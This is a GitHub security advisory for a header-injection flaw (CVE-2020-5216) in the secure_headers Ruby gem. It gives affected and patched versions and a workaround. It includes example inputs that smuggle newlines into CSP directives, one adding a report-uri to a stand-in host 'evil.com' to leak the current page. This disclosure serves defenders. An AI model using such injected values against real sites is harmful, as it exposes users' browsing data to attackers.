Limited header injection when using dynamic overrides with user input

Moderate **oreoshake** published **GHSA-w978-rmpf-qmwg** on Jan 21, 2020

Package	
secure_headers (rubygems)	
Affected versions	Patched versions
< 6.3.0, < 5.2.0, < 3.9.0	~>3.9, ~>5.2, >=6.3.0

Description

Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

```
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])`
```

would result in

```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
```

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

```
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])
```

```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
```

Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

Workarounds

```
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
```

References

GHSA-xq52-rv6w-397c
The effect of multiple policies

For more information

If you have any questions or comments about this advisory:

- Open an issue in this repo
- DM us at **@ndm** on twitter

Severity

Moderate

CVE ID

CVE-2020-5216

Weaknesses

No CWEs